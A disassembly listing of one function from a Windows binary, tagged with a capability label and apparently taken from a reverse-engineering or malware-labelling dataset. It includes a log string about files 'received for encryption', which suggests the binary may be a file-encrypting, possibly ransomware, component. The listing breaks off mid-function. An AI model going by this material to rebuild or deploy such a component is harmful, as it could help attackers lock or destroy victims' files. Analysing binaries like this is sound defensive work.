Function at 0x1005e090
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x438
mov ebx, ecx
lea eax, [esp + 0x230]
push 0x160
push ecx
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
lea esi, [ebx + 0x160]
lea edi, [esp + 0x130]
mov ecx, 0x1a
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebx + 0x1c8]
mov edi, dword [esp + 0x130]
mov esi, dword [esp + 0x134]
mov ebx, dword [esp + 0x148]
mov dword [esp + 8], eax
lea ecx, [esp + 0x230]
call fcn.10060450
test al, al
je 0x1005e1fd
test ebx, ebx
je 0x1005e2a7
cmp edi, 0x3200001
mov eax, esi
sbb eax, 0
jae 0x1005e3da
mov dword [esp + 0x254], 0
mov dword [esp + 0x250], 0
mov dword [esp + 0x25c], 0
mov dword [esp + 0x258], 0
mov dword [esp + 0x264], 0
mov dword [esp + 0x260], 0
mov dword [esp + 0x26c], 0
mov dword [esp + 0x268], 0
mov dword [esp + 0x274], 0
mov dword [esp + 0x270], 0
lea eax, [esp + 0x48]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push eax
call fcn.10037060
add esp, 0x2c
mov edi, dword [esp + 0x280]
mov ebx, dword [esp + 0x278]
test edi, edi
je 0x1005e5dd
js 0x1005fe36
mov eax, dword [0x1044f00c]
mov esi, dword [0x1044eff8]
movzx eax, byte [eax]
mov eax, dword [esi]
test eax, eax
jne 0x1005e1e5
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x1005e6aa
mov dword [esi], eax
push edi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
mov esi, eax
test eax, eax
jne 0x1005e5e2
jmp 0x1005e6aa
lea eax, [esp + 0x48]
push dword [esp + 0x274]
push dword [esp + 0x274]
push dword [esp + 0x274]
push dword [esp + 0x274]
push dword [esp + 0x274]
push dword [esp + 0x274]
push dword [esp + 0x274]
push dword [esp + 0x274]
push dword [esp + 0x274]
push dword [esp + 0x274]
push eax
call fcn.10037060
add esp, 0x2c
mov edi, dword [esp + 0x280]
mov ebx, dword [esp + 0x278]
test edi, edi
je 0x1005e38d
js 0x1005fe36
mov eax, dword [0x1044f00c]
mov esi, dword [0x1044eff8]
movzx eax, byte [eax]
mov eax, dword [esi]
test eax, eax
jne 0x1005e28f
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x1005e6aa
mov dword [esi], eax
push edi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
mov esi, eax
test eax, eax
jne 0x1005e392
jmp 0x1005e6aa
mov dword [esp + 0x254], 0
mov dword [esp + 0x250], 0
mov dword [esp + 0x25c], 0
mov dword [esp + 0x258], 0
mov dword [esp + 0x264], 0
mov dword [esp + 0x260], 0
mov dword [esp + 0x26c], 0
mov dword [esp + 0x268], 0
mov dword [esp + 0x274], 0
mov dword [esp + 0x270], 0
lea eax, [esp + 0x48]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push eax
call fcn.10037060
add esp, 0x2c
mov edi, dword [esp + 0x280]
mov ebx, dword [esp + 0x278]
test edi, edi
je 0x1005e590
js 0x1005fe36
mov eax, dword [0x1044f00c]
mov esi, dword [0x1044eff8]
movzx eax, byte [eax]
mov eax, dword [esi]
test eax, eax
jne 0x1005e375
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x1005e6aa
mov dword [esi], eax
push edi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
mov esi, eax
test eax, eax
jne 0x1005e595
jmp 0x1005e6aa
mov esi, 1
push edi
push ebx
push esi
call sub.msvcrt.dll_memcpy
add esp, 0xc
movzx eax, byte [esp + 0x389]
movzx ecx, byte [esp + 0x384]
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], edi
lea edx, [esp + 0x20]
lea esi, [esp + 0x88]
push ecx
push eax
push edx
lea eax, [esp + 0x54]
push eax
push esi
call fcn.10033450
add esp, 0x14
jmp 0x1005e799
cmp edi, 0x1f400001
mov eax, esi
sbb eax, 0
jae 0x1005e4b6
movapd xmm0, xmmword [0x102cc430]
mov dword [esp + 0x254], 0
mov dword [esp + 0x250], 0
mov dword [esp + 0x25c], 0
mov dword [esp + 0x258], 0
mov dword [esp + 0x264], 0
mov dword [esp + 0x260], 0
movupd xmmword [esp + 0x268], xmm0
lea eax, [esp + 0x48]
push 0
push 0xa
push 0
push 0xa
push 0
push 0
push 0
push 0
push 0
push 0
push eax
call fcn.10037060
add esp, 0x2c
mov edi, dword [esp + 0x280]
mov ebx, dword [esp + 0x278]
test edi, edi
je 0x1005e6ba
js 0x1005fe36
mov eax, dword [0x1044f00c]
mov esi, dword [0x1044eff8]
movzx eax, byte [eax]
mov eax, dword [esi]
test eax, eax
jne 0x1005e49e
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x1005e6aa
mov dword [esi], eax
push edi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
mov esi, eax
test eax, eax
jne 0x1005e6bf
jmp 0x1005e6aa
cmp edi, 0x38800001
mov dword [esp + 0x254], 0
mov dword [esp + 0x250], 0
mov dword [esp + 0x25c], 0
mov dword [esp + 0x258], 0
mov dword [esp + 0x264], 0
mov dword [esp + 0x260], 0
sbb esi, 1
jae 0x1005e62a
movapd xmm0, xmmword [0x102cc420]
movupd xmmword [esp + 0x268], xmm0
lea eax, [esp + 0x48]
push 0
push 5
push 0
push 0x14
push 0
push 0
push 0
push 0
push 0
push 0
push eax
call fcn.10037060
add esp, 0x2c
mov edi, dword [esp + 0x280]
mov ebx, dword [esp + 0x278]
test edi, edi
je 0x1005e707
js 0x1005fe36
mov eax, dword [0x1044f00c]
mov esi, dword [0x1044eff8]
movzx eax, byte [eax]
mov eax, dword [esi]
test eax, eax
jne 0x1005e578
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x1005e6aa
mov dword [esi], eax
push edi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
mov esi, eax
test eax, eax
jne 0x1005e70c
jmp 0x1005e6aa
mov esi, 1
push edi
push ebx
push esi
call sub.msvcrt.dll_memcpy
add esp, 0xc
movzx eax, byte [esp + 0x389]
movzx ecx, byte [esp + 0x384]
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], edi
lea edx, [esp + 0x20]
lea esi, [esp + 0x88]
push ecx
push eax
push edx
lea eax, [esp + 0x54]
push eax
push esi
call fcn.10033450
add esp, 0x14
jmp 0x1005e799
mov esi, 1
push edi
push ebx
push esi
call sub.msvcrt.dll_memcpy
add esp, 0xc
movzx eax, byte [esp + 0x389]
movzx ecx, byte [esp + 0x384]
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], edi
lea edx, [esp + 0x20]
lea esi, [esp + 0x88]
push ecx
push eax
push edx
lea eax, [esp + 0x54]
push eax
push esi
call fcn.10033450
add esp, 0x14
jmp 0x1005e799
movapd xmm0, xmmword [0x102cc410]
movupd xmmword [esp + 0x268], xmm0
lea eax, [esp + 0x48]
push 0
push 1
push 0
push 0x1e
push 0
push 0
push 0
push 0
push 0
push 0
push eax
call fcn.10037060
add esp, 0x2c
mov edi, dword [esp + 0x280]
mov ebx, dword [esp + 0x278]
test edi, edi
je 0x1005e751
js 0x1005fe36
mov eax, dword [0x1044f00c]
mov esi, dword [0x1044eff8]
movzx eax, byte [eax]
mov eax, dword [esi]
test eax, eax
jne 0x1005e697
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x1005e6aa
mov dword [esi], eax
push edi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
mov esi, eax
test eax, eax
jne 0x1005e756
push edi
push 1
call fcn.1001ac80
add esp, 8
jmp 0x1005fe50
mov esi, 1
push edi
push ebx
push esi
call sub.msvcrt.dll_memcpy
add esp, 0xc
movzx eax, byte [esp + 0x389]
movzx ecx, byte [esp + 0x384]
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], edi
lea edx, [esp + 0x20]
lea esi, [esp + 0x88]
push ecx
push eax
push edx
lea eax, [esp + 0x54]
push eax
push esi
call fcn.10033450
add esp, 0x14
jmp 0x1005e799
mov esi, 1
push edi
push ebx
push esi
call sub.msvcrt.dll_memcpy
add esp, 0xc
movzx eax, byte [esp + 0x389]
movzx ecx, byte [esp + 0x384]
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], edi
lea edx, [esp + 0x20]
lea esi, [esp + 0x88]
push ecx
push eax
push edx
lea eax, [esp + 0x54]
push eax
push esi
call fcn.10033450
add esp, 0x14
jmp 0x1005e799
mov esi, 1
push edi
push ebx
push esi
call sub.msvcrt.dll_memcpy
add esp, 0xc
movzx eax, byte [esp + 0x389]
movzx ecx, byte [esp + 0x384]
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], edi
lea edx, [esp + 0x20]
lea esi, [esp + 0x88]
push ecx
push eax
push edx
lea eax, [esp + 0x54]
push eax
push esi
call fcn.10033450
add esp, 0x14
movzx ebx, byte [esp + 0x110]
lea esi, [esp + 0x20]
lea edx, [esp + 0x230]
mov ecx, esi
push dword [esp + 0x190]
push dword [esp + 0x18c]
call fcn.10060580
add esp, 8
cmp dword [esp + 0x20], 0
je 0x1005e7f2
mov eax, dword [esp + 0x28]
movsd xmm0, qword [esp + 0x20]
mov dword [esp + 0x40], eax
movsd qword [esp + 0x38], xmm0
cmp dword [esp + 0x148], 0
jne 0x1005e8cc
jmp 0x1005e9b2
lea eax, [esp + 0x48]
push dword [esp + 0x190]
push dword [esp + 0x18c]
push eax
call fcn.101769e0
add esp, 0xc
mov edi, dword [esp + 0x48]
mov byte [esp + 0xc], bl
mov eax, dword [esp + 0x4c]
mov ebx, dword [esp + 0x50]
test edi, edi
mov dword [esp + 4], edi
mov dword [esp + 0x78], eax
cmove edi, eax
test ebx, ebx
je 0x1005e87b
setns al
js 0x1005fe3d
mov byte [esp], al
mov eax, dword [0x1044f00c]
mov esi, dword [0x1044eff8]
movzx eax, byte [eax]
mov eax, dword [esi]
test eax, eax
jne 0x1005e859
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x1005e868
mov dword [esi], eax
push ebx
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
mov esi, eax
test eax, eax
jne 0x1005e880
movzx eax, byte [esp]
push ebx
push eax
call fcn.1001ac80
add esp, 8
jmp 0x1005fe50
mov esi, 1
push ebx
push edi
push esi
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov ecx, dword [esp + 4]
mov dword [esp + 0x38], esi
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], ebx
test ecx, ecx
je 0x1005e8b5
cmp dword [esp + 0x78], 0
je 0x1005e8b5
mov eax, dword [0x1044eff8]
push ecx
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
movzx ebx, byte [esp + 0xc]
lea esi, [esp + 0x20]
cmp dword [esp + 0x148], 0
je 0x1005e9b2
test bl, bl
je 0x1005e9b2
mov edx, dword [esp + 0x2fc]
lea edi, [esp + 0x10]
mov ecx, edi
push dword [esp + 0x304]
call fcn.100546e0
add esp, 4
lea eax, [esp + 0x170]
mov dword [esp + 0x48], edi
mov dword [esp + 0x4c], 0x10048ae0
mov dword [esp + 0x20], 0x102cfce4
mov dword [esp + 0x24], 3
mov dword [esp + 0x30], 0
mov dword [esp + 0x50], eax
lea eax, [esp + 0x148]
mov dword [esp + 0x54], 0x10048ae0
mov dword [esp + 0x58], eax
lea eax, [esp + 0x48]
mov dword [esp + 0x5c], 0x1002e030
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], 3
lea eax, [esp + 0x7c]
push esi
push eax
call fcn.1001b0a0
add esp, 8
cmp dword [esp + 0x14], 0
je 0x1005e971
mov eax, dword [0x1044eff8]
push dword [esp + 0x10]
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
movsd xmm0, qword [esp + 0x7c]
mov eax, dword [esp + 0x3c]
mov edi, dword [esp + 0x40]
mov esi, dword [esp + 0x84]
movsd qword [esp + 0x48], xmm0
sub eax, edi
mov dword [esp + 0x50], esi
mov ebx, dword [esp + 0x48]
cmp eax, esi
jae 0x1005ea78
mov edx, edi
lea ecx, [esp + 0x38]
push esi
call fcn.10048870
add esp, 4
jmp 0x1005ea74
mov edx, dword [esp + 0x2fc]
lea edi, [esp + 0x10]
mov ecx, edi
push dword [esp + 0x304]
call fcn.100546e0
add esp, 4
lea eax, [esp + 0x170]
mov dword [esp + 0x20], edi
mov dword [esp + 0x24], 0x10048ae0
mov dword [esp + 0x48], 0x102cfcfc
mov dword [esp + 0x4c], 2
mov dword [esp + 0x58], 0
mov dword [esp + 0x50], esi
mov dword [esp + 0x54], 2
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], 0x10048ae0
lea ecx, [esp + 0x48]
lea eax, [esp + 0x7c]
push ecx
push eax
call fcn.1001b0a0
add esp, 8
cmp dword [esp + 0x14], 0
je 0x1005ea3c
mov eax, dword [0x1044eff8]
push dword [esp + 0x10]
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
movsd xmm0, qword [esp + 0x7c]
mov eax, dword [esp + 0x3c]
mov edi, dword [esp + 0x40]
mov esi, dword [esp + 0x84]
movsd qword [esp + 0x48], xmm0
sub eax, edi
mov dword [esp + 0x50], esi
mov ebx, dword [esp + 0x48]
cmp eax, esi
jae 0x1005ea78
mov edx, edi
lea ecx, [esp + 0x38]
push esi
call fcn.10048870
add esp, 4
mov edi, dword [esp + 0x40]
mov eax, dword [esp + 0x38]
add eax, edi
push esi
push ebx
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
add edi, esi
cmp dword [esp + 0x4c], 0
mov dword [esp + 0x40], edi
je 0x1005eaa5
mov eax, dword [0x1044eff8]
push ebx
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
lea eax, [esp + 0x128]
push edi
push dword [esp + 0x3c]
push dword [esp + 0x198]
push dword [esp + 0x194]
push eax
call fcn.10174e40
add esp, 0x14
lea edx, [esp + 0x20]
cmp byte [esp + 0x128], 4
jne 0x1005ebfa
mov eax, dword [esp + 0x188]
mov ecx, dword [esp + 0x190]
mov dword [esp + 0x48], 0x102cfd2c
mov dword [esp + 0x4c], 2
mov dword [esp + 0x58], 0
mov dword [esp + 0x50], edx
mov dword [esp + 0x54], 2
mov dword [esp + 0x10], eax
lea eax, [esp + 0x10]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x20], eax
lea eax, [esp + 0x38]
mov dword [esp + 0x24], 0x1016ce00
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], 0x10048ae0
lea eax, [esp + 0x48]
push eax
call fcn.100748a0
add esp, 4
mov edi, dword [esp + 0x38]
mov ebx, dword [esp + 0x3c]
mov esi, dword [esp + 0x40]
test edi, edi
je 0x1005eca4
cmp dword [esp + 0x18c], 0
je 0x1005eb74
mov eax, dword [0x1044eff8]
push dword [esp + 0x188]
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
movzx eax, word [esp + 0x48]
mov dword [esp + 0x188], edi
mov dword [esp + 0x18c], ebx
mov dword [esp + 0x190], esi
mov byte [esp + 0x194], 1
mov dword [esp + 4], edi
mov dword [esp + 0xc], esi
mov edi, dword [esp + 0x88]
mov ebx, dword [esp + 0x8c]
mov esi, dword [esp + 0x90]
mov word [esp + 0x195], ax
movzx eax, byte [esp + 0x4a]
mov byte [esp + 0x197], al
lea eax, [esp + 0x94]
lea ecx, [esp + 0x1a4]
push 0x8c
push eax
push ecx
call sub.msvcrt.dll_memcpy
add esp, 0xc
cmp edi, 3
jne 0x1005eed0
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 4]
jmp 0x1005ecfa
mov eax, dword [esp + 0x188]
mov ecx, dword [esp + 0x190]
movsd xmm0, qword [esp + 0x128]
lea esi, [esp + 0x38]
mov dword [esp + 0x20], 0x102cfd74
mov dword [esp + 0x24], 3
mov dword [esp + 0x30], 0
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ecx
lea ecx, [esp + 0x10]
movsd qword [esp + 0x7c], xmm0
mov dword [esp + 0x48], ecx
mov dword [esp + 0x4c], 0x1016ce00
mov dword [esp + 0x50], esi
lea esi, [esp + 0x7c]
lea ecx, [esp + 0x48]
mov dword [esp + 0x54], 0x10048ae0
mov dword [esp + 0x58], esi
mov dword [esp + 0x28], ecx
mov dword [esp + 0x5c], fcn.10167360
mov dword [esp + 0x2c], 3
push edx
call fcn.100748a0
add esp, 4
mov ebx, dword [esp + 0x7c]
mov esi, dword [esp + 0x80]
cmp dword [esp + 0x3c], 0
je 0x1005eca4
mov eax, dword [0x1044eff8]
push dword [esp + 0x38]
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0x88], 2
je 0x1005ecec
cmp dword [esp + 0xb0], 5
jb 0x1005eccd
mov eax, dword [0x1044eff8]
push dword [esp + 0x90]
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0xe0], 5
jb 0x1005ecec
mov eax, dword [0x1044eff8]
push dword [esp + 0xc0]
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov ecx, dword [esp + 0x188]
mov eax, dword [esp + 0x190]
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
lea eax, [esp + 0x20]
mov dword [esp + 0x14], esi
lea esi, [esp + 0x10]
mov dword [esp + 0x88], 0x102cfcd4
mov dword [esp + 0x8c], 2
mov dword [esp + 0x10], ebx
mov dword [esp + 0x98], 0
mov dword [esp + 0x48], eax
lea eax, [esp + 0x48]
mov dword [esp + 0x4c], 0x1016ce00
mov dword [esp + 0x50], esi
mov dword [esp + 0x54], fcn.10167360
mov dword [esp + 0x90], eax
mov dword [esp + 0x94], 2
lea eax, [esp + 0x88]
push eax
call fcn.100748a0
add esp, 4
cmp byte [esp + 0x10], 3
jne 0x1005edb6
mov edi, dword [esp + 0x14]
mov esi, dword [edi + 4]
mov ebx, dword [edi]
mov eax, dword [esi]
push ebx
call eax
add esp, 4
cmp dword [esi + 4], 0
je 0x1005eda7
cmp dword [esi + 8], 9
jb 0x1005ed98
mov ebx, dword [ebx - 4]
mov eax, dword [0x1044eff8]
push ebx
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [0x1044eff8]
push edi
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov ecx, dword [esp + 8]
lock dec dword [ecx]
jne 0x1005edc4
call fcn.10047c70
lea esi, [esp + 0x250]
lea ecx, [esp + 0x130]
call fcn.10043030
mov ecx, esi
call fcn.100452e0
lea ecx, [esp + 0x318]
call fcn.10044520
mov esi, dword [esp + 0x234]
test esi, esi
je 0x1005eec8
mov ecx, dword [esp + 0x23c]
test ecx, ecx
je 0x1005ee97
mov dword [esp + 4], esi
mov esi, dword [esp + 0x230]
movdqa xmm0, xmmword [esi]
lea edi, [esi + 0x10]
mov dword [esp + 0xc], esi
pmovmskb eax, xmm0
not eax
jmp 0x1005ee36
test ecx, ecx
mov eax, ebx
je 0x1005ee8d
test ax, ax
jne 0x1005ee59
nop dword [eax + eax]
movdqa xmm0, xmmword [edi]
add esi, 0xffffff40
add edi, 0x10
pmovmskb eax, xmm0
cmp ax, 0xffff
je 0x1005ee40
not eax
lea ebx, [eax - 1]
dec ecx
and ebx, eax
tzcnt eax, eax
neg eax
lea eax, [eax + eax*2]
cmp dword [esi + eax*4 - 8], 0
je 0x1005ee30
lea eax, [esi + eax*4]
push dword [eax - 0xc]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
mov dword [esp + 0x14], ecx
call sub.KERNEL32.dll_HeapFree
mov ecx, dword [esp + 8]
jmp 0x1005ee30
mov esi, dword [esp + 4]
mov edi, dword [esp + 0xc]
jmp 0x1005ee9e
mov edi, dword [esp + 0x230]
lea eax, [esi + 1]
mov ecx, 0xc
mul ecx
add eax, 0xf
and eax, 0xfffffff0
add esi, eax
cmp esi, 0xffffffef
je 0x1005eec8
sub edi, eax
mov eax, dword [0x1044eff8]
push dword [edi - 4]
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, [esp + 0x3a4]
push 0x8c
lea ecx, [esp + 0x1a8]
push ecx
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
lea ecx, [esp + 0x48]
lea eax, [esp + 0x408]
mov dword [esp + 0x398], edi
mov dword [esp + 0x3a0], esi
mov dword [esp + str._INFOENC__File_received_for_encryption:___st:sk:fs:n:p:_], 0x102cfdcc
mov dword [esp + 0x1a8], 7
mov dword [esp + 0x1b4], 0
mov esi, dword [esp + 0xc]
mov dword [esp + 0x39c], ebx
mov dword [esp + 0x88], ecx
mov dword [esp + 0x8c], 0x1016ce00
mov dword [esp + 0x90], eax
lea eax, [esp + 0x410]
mov dword [esp + 0x94], fcn.1002e270
mov dword [esp + 0x98], eax
lea eax, [esp + 0x418]
mov dword [esp + 0x9c], fcn.1002e270
mov dword [esp + 0xa0], eax
lea eax, [esp + 0x3f8]
mov dword [esp + 0xa4], fcn.1002e270
mov dword [esp + 0xa8], eax
lea eax, [esp + 0x400]
mov dword [esp + 0xac], fcn.1002e270
mov dword [esp + 0xb0], eax
lea eax, [esp + 0x88]
mov dword [esp + 0xb4], fcn.1002e270
mov dword [esp + 0x1ac], eax
mov eax, dword [esp + 4]
mov dword [esp + 0x1b0], 6
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], esi
lea eax, [esp + 0x1a4]
push eax
mov edi, dword [esp + 0xc]
call fcn.100748a0
add esp, 4
lea ebx, [esp + 0x20]
call fcn.1016de30
mov dword [esp + 0x78], eax
mov dword [esp], edx
mov dword [esp + 0x1a0], ecx
movapd xmm0, xmmword [0x102cc440]
mov dword [esp + 0x1c0], 0
mov word [esp + 0x1c4], 0
mov dword [esp + 0x1a4], 0
movupd xmmword [esp + 0x1ac], xmm0
mov dword [esp + 0x1bc], 0
mov word [esp + 0x1c0], 0x101
mov dword [esp + 0x1b4], 1
mov edx, dword [esp + 4]
lea eax, [esp + 0x1a4]
lea ecx, [esp + 0x88]
push eax
push esi
call fcn.101746e0
add esp, 8
cmp byte [esp + 0x88], 4
jne 0x1005f08a
mov eax, dword [esp + 0x8c]
jmp 0x1005f0a1
mov ecx, dword [esp + 0x88]
mov eax, dword [esp + 0x8c]
cmp cl, 4
jne 0x1005f5b3
mov dword [esp + 0x124], eax
movzx eax, byte [esp + 0x428]
lea edx, [esp + 0x398]
lea ecx, [esp + 0x124]
push eax
push ecx
push edx
lea eax, [esp + 0x1c]
push eax
call fcn.10033ab0
add esp, 0x10
cmp byte [esp + 0x10], 0
je 0x1005f152
movzx eax, byte [esp + 0x11]
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], 0x1016ce00
mov dword [esp + 0x88], 0x102cfe7c
mov dword [esp + 0x8c], 2
mov dword [esp + 0x98], 0
mov byte [esp + 0x7c], al
mov eax, dword [esp + 4]
mov dword [esp + 0x20], eax
lea eax, [esp + 0x7c]
mov dword [esp + 0x24], esi
mov dword [esp + 0x50], eax
lea eax, [esp + 0x48]
mov dword [esp + 0x54], 0x100379b0
mov dword [esp + 0x90], eax
mov dword [esp + 0x94], 2
lea eax, [esp + 0x88]
push eax
call fcn.100748a0
add esp, 4
jmp 0x1005f435
mov eax, dword [esp + 0x18]
mov edx, dword [edi + 0xc]
mov esi, dword [esp + 8]
mov dword [esp + 0x19c], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x198], eax
mov eax, dword [edi + 8]
mov edi, dword [esp + 8]
nop word cs:[eax + eax]
mov ebx, eax
mov ecx, edx
add ebx, 1
adc ecx, 0
lock cmpxchg8b qword [esi + 8]
jne 0x1005f180
call fcn.1016de30
lea ebx, [esp + 0x20]
mov dword [esp + 0x88], eax
mov dword [esp + 0x8c], edx
mov dword [esp + 0x90], ecx
push dword [esp + 0x1a0]
push dword [esp + 4]
push dword [esp + 0x80]
lea eax, [esp + 0x94]
push eax
call fcn.1016dec0
add esp, 0x10
movdqa xmm2, xmmword [0x102cc450]
movapd xmm1, xmmword [0x102cc460]
xor esi, esi
cmp ecx, 0x3b9aca00
xorpd xmm0, xmm0
xorpd xmm4, xmm4
cmovne esi, ecx
je 0x1005f216
movd xmm3, eax
movd xmm4, edx
punpckldq xmm3, xmm4
punpckldq xmm3, xmm2
subpd xmm3, xmm1
movapd xmm4, xmm3
unpckhpd xmm4, xmm3
addsd xmm4, xmm3
movd xmm3, esi
movd xmm5, dword [esp + 0x198]
por xmm3, xmmword [0x102cc470]
subsd xmm3, qword [0x102cc480]
divsd xmm3, qword [0x102cc488]
addsd xmm3, xmm4
movd xmm4, dword [esp + 0x19c]
ucomisd xmm3, xmm0
movsd qword [esp + 0x390], xmm3
punpckldq xmm4, xmm5
punpckldq xmm4, xmm2
subpd xmm4, xmm1
movapd xmm1, xmm4
unpckhpd xmm1, xmm4
addsd xmm1, xmm4
divsd xmm1, qword [0x102cc490]
movsd qword [esp + 0x128], xmm1
jbe 0x1005f288
divsd xmm1, xmm3
movapd xmm0, xmm1
mov eax, dword [esp + 4]
mov ecx, dword [esp + 0xc]
lea edx, [esp + 0x7c]
mov dword [esp + 0x88], 2
mov dword [esp + 0x90], 2
mov dword [esp + 0x98], 0x20
mov dword [esp + 0x9c], 0
mov dword [esp + 0xa0], 0
mov byte [esp + 0xa4], 3
mov dword [esp + 0xa8], 2
mov dword [esp + 0xb0], 2
mov dword [esp + 0xb8], 0x20
mov dword [esp + 0xbc], 1
mov dword [esp + 0xc0], 0
mov byte [esp + 0xc4], 3
mov dword [esp + 0xc8], 0
mov dword [esp + 0xcc], 4
mov dword [esp + 0xd0], 2
mov dword [esp + 0xd8], 0x20
mov dword [esp + 0xdc], 2
mov dword [esp + 0xe0], 0
mov byte [esp + 0xe4], 3
mov dword [esp + 0xe8], 0
mov dword [esp + 0xec], 4
mov dword [esp + 0xf0], 2
mov dword [esp + 0xf8], 0x20
mov dword [esp + 0xfc], 3
mov dword [esp + 0x100], 0
mov dword [esp + 0x20], 0x102cfe30
movsd qword [esp + 0x38], xmm0
mov byte [esp + 0x104], 3
mov dword [esp + 0x24], 5
mov dword [esp + 0x48], edx
mov dword [esp + 0x4c], 0x1016ce00
lea edx, [esp + 0x390]
mov dword [esp + 0x7c], eax
mov dword [esp + 0x80], ecx
lea ecx, [esp + 0x128]
mov dword [esp + 0x50], ecx
lea ecx, [esp + 0x38]
mov dword [esp + 0x54], 0x1002d6c0
mov dword [esp + 0x58], edx
lea edx, [esp + 0x88]
mov dword [esp + 0x5c], 0x1002d630
mov dword [esp + 0x60], ecx
lea ecx, [esp + 0x48]
mov dword [esp + 0x30], edx
mov dword [esp + 0x34], 4
mov dword [esp + 0x64], 0x1002d6c0
mov dword [esp + 0x28], ecx
mov dword [esp + 0x2c], 4
push ebx
call fcn.100748a0
add esp, 4
push dword [esp + 0x124]
call sub.KERNEL32.dll_CloseHandle
lock dec dword [edi]
jne 0x1005f44d
mov ecx, edi
call fcn.10047c70
cmp byte [esp + 0x378], 0
je 0x1005f4cc
cmp byte [esp + 0x384], 0
jne 0x1005f4cc
movzx eax, byte [esp + 0x420]
mov byte [esp + 8], al
lea edx, [esp + 0x230]
lea ecx, [esp + 0x1a4]
push dword [esp + 0x190]
push dword [esp + 0x18c]
call fcn.10060580
add esp, 8
cmp dword [esp + 0x1a4], 0
je 0x1005f6cc
mov eax, dword [esp + 0x1ac]
movsd xmm0, qword [esp + 0x1a4]
mov dword [esp + 0x18], eax
movsd qword [esp + 0x10], xmm0
cmp dword [esp + 0x148], 0
jne 0x1005fa18
jmp 0x1005fb15
lea edx, [esp + 0x230]
lea ecx, [esp + 0x1a4]
push dword [esp + 0x190]
push dword [esp + 0x18c]
call fcn.10060580
add esp, 8
cmp dword [esp + 0x1a4], 0
je 0x1005f680
mov eax, dword [esp + 0x1ac]
movsd xmm0, qword [esp + 0x1a4]
mov dword [esp + 0x50], eax
movsd qword [esp + 0x48], xmm0
push dword [esp + 0x190]
push dword [esp + 0x18c]
lea eax, [esp + 0x90]
push eax
call fcn.101769e0
add esp, 0xc
mov edi, dword [esp + 0x88]
mov eax, dword [esp + 0x8c]
mov ebx, dword [esp + 0x90]
test edi, edi
mov dword [esp + 8], edi
mov dword [esp + 4], eax
cmove edi, eax
test ebx, ebx
je 0x1005f752
setns al
js 0x1005fe44
mov byte [esp + 0xc], al
mov eax, dword [0x1044f00c]
mov esi, dword [0x1044eff8]
movzx eax, byte [eax]
mov eax, dword [esi]
test eax, eax
jne 0x1005f58c
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x1005f59f
mov dword [esi], eax
push ebx
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
mov esi, eax
test eax, eax
jne 0x1005f757
movzx eax, byte [esp + 0xc]
push ebx
push eax
call fcn.1001ac80
add esp, 8
jmp 0x1005fe50
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
mov eax, dword [esp + 4]
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], 0x1016ce00
mov dword [esp + 0x88], 0x102cfeac
mov dword [esp + 0x8c], 2
mov dword [esp + 0x98], 0
mov dword [esp + 0x20], eax
lea eax, [esp + 0x10]
mov dword [esp + 0x24], esi
mov dword [esp + 0x50], eax
lea eax, [esp + 0x48]
mov dword [esp + 0x54], fcn.10167360
